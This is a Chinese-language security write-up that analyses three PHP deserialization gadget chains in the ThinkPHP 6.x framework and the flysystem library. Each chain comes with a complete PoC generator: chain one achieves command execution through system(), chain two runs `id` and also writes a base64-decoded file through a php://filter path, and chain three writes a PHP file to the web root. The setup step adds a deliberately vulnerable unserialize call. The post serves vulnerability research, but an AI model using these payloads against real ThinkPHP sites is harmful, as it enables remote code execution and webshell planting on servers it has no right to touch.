ThinkPHP 6.x反序列化合辑

环境准备

安装ThinkPHP 6.0

composer create-project topthink/think=6.0.x-dev v6.0

修改application/index/controller/Index.php Index类的代码

class Index
{
    public function index()
    {
        $payload = unserialize(base64_decode($_GET['payload']));
        return 'ThinkPHP V6.x';
    }
}

开启ThinkPHP6调试

将根目录.example.env更改为.env,文件中添加:APP_DEBUG = true

POP链1

think\Model --> __destruct()
think\Model --> save()
think\Model --> updateData()
think\Model --> checkAllowFields()
think\Model --> db()
--------此处以下同tp 5.2后半部分利用链--------
think\model\concern\Conversion --> __toString()
think\model\concern\Conversion --> __toJson()
think\model\concern\Conversion --> __toArray()
think\model\concern\Attribute --> getAttr()
think\model\concern\Attribute --> getValue()

分析复现

__destruct()

首先寻找可利用的**__destruct()**

vendor/topthink/think-orm/src/Model.php中找到

image-20200613033333755

lazySave可控,构造lazySave为true,进入save()函数

save()

updateData()

此处先行提示一下,我们下一步需要利用**updateData()**方法,所以此处需要构造条件触发

  • $this->isEmpty() == false

    查看**$this->isEmpty()**代码

    image-20200613040401181

    使其返回false需要满足$this->data != null

  • $this->trigger(‘BeforeWrite’) === true

    vendor/topthink/think-orm/src/model/concern/ModelEvent.php中查看trigger方法

    image-20200613040931374

    使其返回true需要满足$this->withEvent === false

  • $this->exists == true

满足条件后进入 **updateData()**方法,此处只截取利用到的代码

此处我们要用到 checkAllowFields(),所以需要保证在此之前不会return退出这个方法

  • $this->trigger(‘BeforeUpdate’) == true

  • empty($data) == true

  • $data != null

    $data值来源于getChangedData(),我们在 vendor/topthink/think-orm/src/model/concern/Attribute.php 中找到此方法

    出于构造POP链考虑,我们应使$this->force == true,使其直接返回$data,避免返回其他数值或内容影响构造

checkAllowFields()

此函数中我们需要触发 db() 方法,即需要满足以下条件

  • $field = []
  • $schema = []

db()

$this->connection可控,赋值为”mysql”;name()方法参数完全可控,字符串拼接,触发__toString()

image-20200613044528887

后面POP链与ThinkPHP5.2相同,需要注意的是,Model为抽象类,不能实例化,我们需要他的子类,和thinkPHP5.2一样我们还是使用Pivot来构造。

__toString()

我们选择 vendor/topthink/think-orm/src/model/concern/Conversion.php 来触发__toString()

image-20200619144418990

跟进 toJson()

跟进 toArray()

toArray()

我们只截取关键代码进行分析

image-20200619145615483

此处我们需要触发 getAttr() 方法,我们分析触发条件

  • $this->hidden[$key] == null,$this->hidden 可控
  • $hasVisible == false ,$hasVisible 默认为false,

注意两个 getAttr() 只能使用第175行的,原因见图

getAttr()

跟进getAttr()

$key会传入 getData() 方法,跟进 getData()

跟进 getRealFieldName()

$this->strict == True 时,直接返回 $name

返回 getData() ,经由上面分析可以得出,通过构造可使 $fieldName = $key ,之后进入if判断逻辑

image-20200622043352307

此处if条件满足,返回 $fieldName getAttr() 中的 $valur

调用的函数getValue(),参数中 $name$this->withAttr的键名,$value 是命令

getValue()

$this->withAttr[$key]作为函数名动态执行,$value作为参数

如果命令是ipconfig,那么最终执行的就是 system("ipconfig", ["test"=>"ipconfig"])

对于函数system() 的用法,参见php手册https://www.php.net/manual/zh/function.system.php

POC

<?php
namespace think;
use think\model\Pivot;
abstract class Model{
	private $lazySave = false;	# save()
	private $exists = false;	# updateData()
	protected $connection;
	protected $name;			# __toString() Conversion.php =>Pivot
	private $withAttr = [];		# assert
	protected $hidden = [];
	private $data = [];
	protected $withEvent = false;
	private $force = false;
	protected $field = [];
	protected $schema = [];

	function __construct(){
		$this->lazySave = true;
		$this->exists = true;
		$this->withEvent = false;
		$this->force = true;
		$this->connection = "mysql";
		$this->withAttr = ["test"=>"system"];
		$this->data = ["test"=>"ipconfig"];
		$this->hidden = ["test"=>"123"];
		
		$this->field = [];
		$this->schema = [];
	}
}
namespace think\model;
use think\Model;
# Model 是一个抽象类,我们找到它的继承类,此处选取的是 Pivot 类
class Pivot extends Model{
	function __construct($obj=""){
		parent::__construct();
		$this->name = $obj;		# $this->name放子类构造方法中赋值,直接放基类属性中初始化不成功
	}
}
$a=new Pivot();
echo base64_encode(serialize(new Pivot($a)));

POP链2

__destruct()

依旧是全局搜索 __destruct() ,我们查看在 /vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php 中的__destruct

image-20200613212715072

使 $this->autosave = false 可以触发 $this->save()

CacheStore

AbstractCache是一个抽象类,我们使用find usages寻找继承它的类

/vendor/topthink/framework/src/think/filesystem/CacheStore.php 中的 CacheStore 类继承了 AbstractCache 类,并实现了 save() 方法

save() 方法中涉及 getForStorage() 方法,我们跟进此方法

getForStorage()

回到 AbstractCache.php 中我们找到了 getForStorage() 方法,继续跟进 cleanContents()

image-20200613214348964

cleanContents()

array_flip对数组反转,array_intersect_key取数组交集

然后函数会将 $contents 返回给 getForStorage() 中的 $cleaned ,经过 json_encode 后返回给前面的 save() 方法

$contents 变量接收函数返回值后,进入下面了逻辑,此时$this->store是可控的,我们可以调用任意类的set方法,如果这个指定的类不存在set方法,就有可能触发__call()。当然也有可能本身的set()方法就可以利用。

Notice:在对象中调用一个不可访问方法时,__call()会被调用。有关 __call() 方法的详细说明,参见php手册https://www.php.net/manual/zh/language.oop5.overloading.php#object.call

set()

image-20200615221905546

我们利用在File类中的 set() 方法

serialize()方法

此处有两种利用方法,我们先分析利用 serialize() 方法的POP链

$this->options\['serialize'][0]可控,可以执行任意函数,参数为$data

我们从set()方法中可知,$data 来源于 $value 的传值,在继续从CacheStore 中可知 $value 来源于 $contents

json_encode后的数据,由此我们需要使json_encode后的数据被当作代码执行。

此时需要注意一个问题

image-20200617161904443

我们发现由于 json_encode 的缘故,命令被方括号包裹导致无法正常执行。在Linux环境中我们可以使用 `command` 这样的形式使被包裹的command优先执行,我们可以构造如下payload

报错信息中包含命令执行结果

POC
<?php 

namespace League\Flysystem\Cached\Storage{
	abstract class AbstractCache
	{
		protected $autosave = false;
    	protected $complete = "`id`";
        // protected $complete = "\"&whoami&" ;
        // 在Windows环境中反引号无效,用&替代
	}
}

namespace think\filesystem{
	use League\Flysystem\Cached\Storage\AbstractCache;
	class CacheStore extends AbstractCache
	{
		protected $key = "1";
		protected $store;

		public function __construct($store="")
		{
			$this->store = $store;
		}
	}
}

namespace think\cache{
	abstract class Driver
	{
		protected $options = ["serialize"=>["system"],"expire"=>1,"prefix"=>"1","hash_type"=>"sha256","cache_subdir"=>"1","path"=>"1"];
	}
}

namespace think\cache\driver{
	use think\cache\Driver;
	class File extends Driver{}
}

namespace{
	$file = new think\cache\driver\File();
	$cache = new think\filesystem\CacheStore($file);
	echo base64_encode(serialize($cache));
}

?>

file_put_contents()写文件

第179行可以看到 file_put_contents() 有两个参数 $filename$data ,向上查找这两个变量从何而来

  • $data:前面分析已知来源于$this->serialize,此处存在 exit() ,我们可以使用 php://filter来避免。

  • $filename:

    此函数的返回值是带有文件名的文件路径

    第67行

    $name = hash($this->options['hash_type'], $name);
    

    $name 为文件名,来源于$this->key,可控,$this->options['hash_type']也可控。最终文件名是经过hash后的,所以最终文件名可控(本文演示POC中$key = "1"$this->options['hash_type'] = 'md5',所以最终文件名为1的md5值)。

    $this->options['path'] 使用php filter构造 php://filter/write=convert.base64-decode/resource=think/public/ 指向tp6根目录

    最终拼接后的$filename

    php://filter/write=convert.base64-decode/resource=think/public/name.php
    

    此外,为了确保php伪协议进行base64解码之后我们的shell不受影响,所以要计算解码前的字符数。

    假设传入的$expire=1,那么shell前面部分在拼接之后能够被解码的有效字符为:php//000000000001exit共有21个,要满足base64解码的4字符为1组的规则,在其前面补上3个字符用于逃逸之后的base64解码的影响。

POC
<?php 

namespace League\Flysystem\Cached\Storage{
    abstract class AbstractCache
    {
        protected $autosave = false;
        protected $complete = "uuuPD9waHAgcGhwaW5mbygpOw==";
        //文件内容是phpinfo();  uuu为在其前面随意填充的三个字符
    }
}

namespace think\filesystem{
    use League\Flysystem\Cached\Storage\AbstractCache;
    class CacheStore extends AbstractCache
    {
        protected $key = "1";
        protected $store;

        public function __construct($store="")
        {
            $this->store = $store;
        }
    }
}

namespace think\cache{
    abstract class Driver
    {
        protected $options = ["serialize"=>["trim"],"expire"=>1,"prefix"=>false,"hash_type"=>"md5","cache_subdir"=>false,"path"=>"php://filter/write=convert.base64-decode/resource=think/public/","data_compress"=>0];
    }
}
// 路径最好写成绝对路径

namespace think\cache\driver{
    use think\cache\Driver;
    class File extends Driver{}
}

namespace{
    $file = new think\cache\driver\File();
    $cache = new think\filesystem\CacheStore($file);
    echo base64_encode(serialize($cache));
}

?>

image-20200618220643225

使用此方法需注意路径是否可写以可执行等权限问题

POP链3

__destruct()

pop链的起点与前面的利用方式相同,都是**/vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php** 中**__destruct()** 方法中的 save()

image-20200613212715072

Adapter

第二步也同样是寻找继承了 AbstractCache 的类,我们选择的是 vendor/league/flysystem-cached-adapter/src/Storage/Adapter.php 中的 Adapter

image-20200619021411953

save()

分析 Adapter 类中实现的 save() 方法

$contentsgetForStorage() 函数的返回值,跟进此函数

getForStorage()

执行了 cleanContents() 方法,跟进此方法

cleanContents()

由于当前类中没有 cleanContents() 方法,所以我们在父类 Adapter 中查找

发现了和上一篇文章中相同的代码,只进行了数组合并,传入的数组原样返回,$contents来源于 $this->cache

我们通过$this->cache传入数组,经过 getForStorage() 中的 json_encode 处理后,返回json给 save() 中的 $contents 。此处先行提示,$contents包含了写入文件的内容。

回到save()

我们已经分析了 $contents ,下面我们分析if else逻辑。我们需要利用write方法写文件,要触发 write 方法我们需要让has方法返回false。

由此,我们需要寻找一个有 haswrite 方法的类。

vendor/league/flysystem/src/Adapter/Local.php 中的 Local 类符合要求

Local类

跟进has()

image-20200619035822463

执行 applyPathPrefix() 返回给 $location ,继续跟进 applyPathPrefix()

applyPathPrefix()

当前类中不存在 applyPathPrefix() ,所以我们去Local 的父类 AbstractAdapter 中寻找

applyPathPrefix() 调用了前面的 getPathPrefix()

getPathPrefix()

getPathPrefix() 返回的是 $this->pathPrefix 的值,pathPrefix 可控,ltrim函数去除file左侧的/和\,于是我们可以直接传入一个文件名,然后控制pathPrefix为路径部分。

回到has()

执行file_exists函数,我们只需要保证传入的文件名不存在即可使has返回false

write()

$location来源于$this->file传入applyPathPrefix处理后的文件名,$contents即经过json_encode处理后带有文件内容的json数据

POC

<?php 

namespace League\Flysystem\Cached\Storage{
	abstract class AbstractCache
	{
		protected $autosave = false;
		protected $cache = ["test"=>"<?php phpinfo();?>"];
	}
}

namespace League\Flysystem\Cached\Storage{
	use League\Flysystem\Cached\Storage\AbstractCache;
	class Adapter extends AbstractCache
	{
		protected $file;
		protected $adapter;

		public function __construct($adapter="")
		{
			$this->file = "think\\public\\test.php";
            // 需要根据系统以及配置修改路径写法
			$this->adapter = $adapter;
		}
	}
}

namespace League\Flysystem\Adapter{
	class Local 
	{
		protected $writeFlags = 0;
	}
}

namespace{
	$local = new League\Flysystem\Adapter\Local();
	$cache = new League\Flysystem\Cached\Storage\Adapter($local);
	echo base64_encode(serialize($cache));
}

 ?>

5 Likes